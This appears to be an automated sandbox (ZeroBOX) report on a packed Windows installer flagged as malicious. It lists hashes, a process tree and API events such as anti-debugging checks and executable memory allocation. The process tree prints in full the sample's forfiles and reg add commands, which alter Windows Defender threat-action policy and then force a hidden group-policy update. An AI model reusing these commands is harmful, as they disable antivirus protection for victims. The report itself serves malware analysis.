Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	June 17, 2024, 1:31 p.m.	June 17, 2024, 1:35 p.m.

Size	7.3MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`59f7c6aba00ac82304ed8e658ff4768f`
SHA256	`d8b670e9c2f3ce5b84f9fadd9a9a5f3860a9440a3a56cfa7c923ab3060670808`
CRC32	`25CFA166`
ssdeep	`196608:91OoQXM2JRmCfq7BsTI7p6UUlSujtpe1E/sguF55gyAef:3OJPJsmeMjsujtpeilMXgyAm`
Yara	Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description)

setup.exe "C:\Users\test22\AppData\Local\Temp\setup.exe"
2084
- Install.exe .\Install.exe
  2176
  - Install.exe .\Install.exe /fWdidUCKaz "385134" /S
    2232
    - cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      2352
      - forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        2436
        
        cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        2480
        
        reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        2524
      - forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        2568
        
        cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        2612
        
        reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        2656
      - forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        2700
        
        cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        2744
        
        reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        2788
      - forfiles.exe forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        2836
        
        cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        2880
        
        reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        2924
      - forfiles.exe forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        2968
        
        cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        3012
        
        powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
        3056
        
        gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
        2248

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
51.15.58.224	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 17, 2024, 1:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 17, 2024, 1:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 17, 2024, 1:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 17, 2024, 1:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 17, 2024, 1:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 17, 2024, 1:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 17, 2024, 1:31 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 17, 2024, 1:31 p.m.			0	0
IsDebuggerPresent June 17, 2024, 1:31 p.m.			0	0

Command line console output was observed (50 out of 102 events)

Time & API	Arguments	Status	Return
WriteConsoleW June 17, 2024, 1:31 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW June 17, 2024, 1:31 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW June 17, 2024, 1:31 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW June 17, 2024, 1:31 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: U console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: a console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: t console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: n console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: g console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: P console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:31 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: U console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: P console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: a console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: t console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: h console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: a console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: m console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: t console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA June 17, 2024, 1:32 p.m.	buffer: c console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (40 events)

Time & API	Arguments	Status	Return
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00697920 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006981e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006981e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006981e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00697960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00697960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00697960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00697960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00697960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00697960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006981e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006981e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006981e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698460 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698460 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698460 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00697de0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698460 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698460 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698460 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698460 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698460 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698460 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698460 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00698660 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006980e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 17, 2024, 1:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006980e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 17, 2024, 1:31 p.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.sxdata

The executable uses a known packer (1 event)

packer

Armadillo v1.71

Allocates read-write-execute memory (usually to unpack itself) (50 out of 151 events)

Time & API	Arguments	Status
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74141000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fa1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75291000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f21000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75291000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f91000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e01000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73eb1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73df1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73dd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d82000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 983040 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02690000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02740000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73cd4000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02741000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02742000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0260b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02607000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025cb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02605000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x67aa1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02920000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0260c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
